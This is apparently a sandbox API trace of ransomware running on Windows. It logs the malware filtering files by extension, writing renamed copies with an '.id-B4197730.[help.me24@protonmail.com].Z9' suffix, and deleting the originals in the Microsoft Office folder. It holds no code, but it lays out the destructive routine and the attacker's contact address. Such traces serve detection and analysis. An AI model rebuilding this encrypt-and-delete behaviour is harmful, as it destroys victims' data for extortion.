	[0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.417] lstrlenW (lpString=".jpg") returned 4
	[0170.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.417] lstrlenW (lpString=".doc") returned 4
	[0170.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString=".docx") returned 5
	[0170.417] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0170.417] lstrlenW (lpString=".pdf") returned 4
	[0170.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.417] lstrlenW (lpString=".xls") returned 4
	[0170.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.418] lstrlenW (lpString=".xlsx") returned 5
	[0170.418] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0170.418] lstrlenW (lpString=".ppt") returned 4
	[0170.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.418] lstrlenW (lpString=".zip") returned 4
	[0170.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.418] lstrlenW (lpString=".rar") returned 4
	[0170.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.418] lstrlenW (lpString=".bz2") returned 4
	[0170.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.418] lstrlenW (lpString=".7z") returned 3
	[0170.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.418] lstrlenW (lpString=".dbf") returned 4
	[0170.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.418] lstrlenW (lpString=".1cd") returned 4
	[0170.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0170.418] lstrlenW (lpString=".jpg") returned 4
	[0170.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.418] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0170.418] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39
	[0170.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.419] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=132800) returned 1
	[0170.419] CloseHandle (hObject=0x4a4) returned 1
	[0170.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220
	[0170.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0170.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0170.419] lstrlenW (lpString=".doc") returned 4
	[0170.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.419] lstrlenW (lpString=".docx") returned 5
	[0170.419] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0170.419] lstrlenW (lpString=".pdf") returned 4
	[0170.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.419] lstrlenW (lpString=".xls") returned 4
	[0170.420] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.420] lstrlenW (lpString=".xlsx") returned 5
	[0170.420] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0170.420] lstrlenW (lpString=".ppt") returned 4
	[0170.420] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0170.420] lstrlenW (lpString=".zip") returned 4
	[0170.420] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.420] lstrlenW (lpString=".rar") returned 4
	[0170.420] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.420] lstrlenW (lpString=".bz2") returned 4
	[0170.420] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.420] lstrlenW (lpString=".7z") returned 3
	[0170.420] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88
	[0170.420] lstrlenW (lpString=".dbf") returned 4
	[0170.420] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0170.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0170.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0171.414] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.414] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.415] GetLastError () returned 0x0
	[0171.415] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x96388, lpOverlapped=0x0) returned 1
	[0171.443] WriteFile (in: hFile=0x530, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x96390, lpOverlapped=0x0) returned 1
	[0171.455] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.455] WriteFile (in: hFile=0x530, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10e, lpOverlapped=0x0) returned 1
	[0171.455] SetEndOfFile (hFile=0x530) returned 1
	[0171.456] CloseHandle (hObject=0x530) returned 1
	[0171.456] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.456] SetEndOfFile (hFile=0x540) returned 1
	[0172.129] CloseHandle (hObject=0x540) returned 1
	[0172.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1
	[0172.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.594] lstrlenW (lpString=".doc") returned 4
	[0172.594] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0172.594] lstrlenW (lpString=".docx") returned 5
	[0172.596] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0172.596] lstrlenW (lpString=".pdf") returned 4
	[0172.596] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0172.596] lstrlenW (lpString=".xls") returned 4
	[0172.598] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0172.598] lstrlenW (lpString=".xlsx") returned 5
	[0172.598] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0172.598] lstrlenW (lpString=".ppt") returned 4
	[0172.602] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0172.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.606] lstrlenW (lpString=".zip") returned 4
	[0172.606] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0172.608] lstrlenW (lpString=".rar") returned 4
	[0172.608] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0172.608] lstrlenW (lpString=".bz2") returned 4
	[0172.608] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0172.613] lstrlenW (lpString=".7z") returned 3
	[0172.613] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0172.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.615] lstrlenW (lpString=".dbf") returned 4
	[0172.615] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.615] lstrlenW (lpString=".1cd") returned 4
	[0172.615] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0172.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.615] lstrlenW (lpString=".jpg") returned 4
	[0172.615] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.619] lstrlenW (lpString=".doc") returned 4
	[0172.619] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0172.619] lstrlenW (lpString=".docx") returned 5
	[0172.619] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0172.619] lstrlenW (lpString=".pdf") returned 4
	[0172.619] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0172.619] lstrlenW (lpString=".xls") returned 4
	[0172.619] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0172.619] lstrlenW (lpString=".xlsx") returned 5
	[0172.619] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0172.619] lstrlenW (lpString=".ppt") returned 4
	[0172.619] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.620] lstrlenW (lpString=".zip") returned 4
	[0172.620] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0172.620] lstrlenW (lpString=".rar") returned 4
	[0172.620] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0172.620] lstrlenW (lpString=".bz2") returned 4
	[0172.620] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0172.620] lstrlenW (lpString=".7z") returned 3
	[0172.620] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.620] lstrlenW (lpString=".dbf") returned 4
	[0172.620] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.620] lstrlenW (lpString=".1cd") returned 4
	[0172.620] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0172.620] lstrlenW (lpString=".jpg") returned 4
	[0172.620] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0172.620] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.620] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30
	[0172.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0172.622] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11587) returned 1
	[0172.622] CloseHandle (hObject=0x53c) returned 1
	[0172.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0172.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0172.623] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.623] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.624] GetLastError () returned 0x0
	[0172.624] ReadFile (in: hFile=0x53c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d43, lpOverlapped=0x0) returned 1
	[0172.626] WriteFile (in: hFile=0x530, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0172.631] ReadFile (in: hFile=0x53c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.631] WriteFile (in: hFile=0x530, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x110, lpOverlapped=0x0) returned 1
	[0172.631] SetEndOfFile (hFile=0x530) returned 1
	[0172.631] CloseHandle (hObject=0x530) returned 1
	[0172.631] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.631] SetEndOfFile (hFile=0x53c) returned 1
	[0172.635] CloseHandle (hObject=0x53c) returned 1
	[0172.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0172.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0172.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.645] lstrlenW (lpString=".doc") returned 4
	[0172.645] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.645] lstrlenW (lpString=".docx") returned 5
	[0172.645] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.645] lstrlenW (lpString=".pdf") returned 4
	[0172.645] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".xls") returned 4
	[0172.646] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".xlsx") returned 5
	[0172.646] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.646] lstrlenW (lpString=".ppt") returned 4
	[0172.646] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.646] lstrlenW (lpString=".zip") returned 4
	[0172.646] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".rar") returned 4
	[0172.646] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".bz2") returned 4
	[0172.646] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".7z") returned 3
	[0172.646] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.646] lstrlenW (lpString=".dbf") returned 4
	[0172.646] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.646] lstrlenW (lpString=".1cd") returned 4
	[0172.646] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.646] lstrlenW (lpString=".jpg") returned 4
	[0172.646] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.646] lstrlenW (lpString=".doc") returned 4
	[0172.646] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".docx") returned 5
	[0172.646] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.646] lstrlenW (lpString=".pdf") returned 4
	[0172.646] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.646] lstrlenW (lpString=".xls") returned 4
	[0172.647] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString=".xlsx") returned 5
	[0172.647] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.647] lstrlenW (lpString=".ppt") returned 4
	[0172.647] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.647] lstrlenW (lpString=".zip") returned 4
	[0172.647] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString=".rar") returned 4
	[0172.647] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString=".bz2") returned 4
	[0172.647] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString=".7z") returned 3
	[0172.647] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.647] lstrlenW (lpString=".dbf") returned 4
	[0172.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.647] lstrlenW (lpString=".1cd") returned 4
	[0172.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80
	[0172.647] lstrlenW (lpString=".jpg") returned 4
	[0172.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0172.647] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30
	[0172.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0172.649] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19932) returned 1
	[0172.649] CloseHandle (hObject=0x53c) returned 1
	[0172.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0172.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0172.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0172.650] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.650] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0172.651] GetLastError () returned 0x0
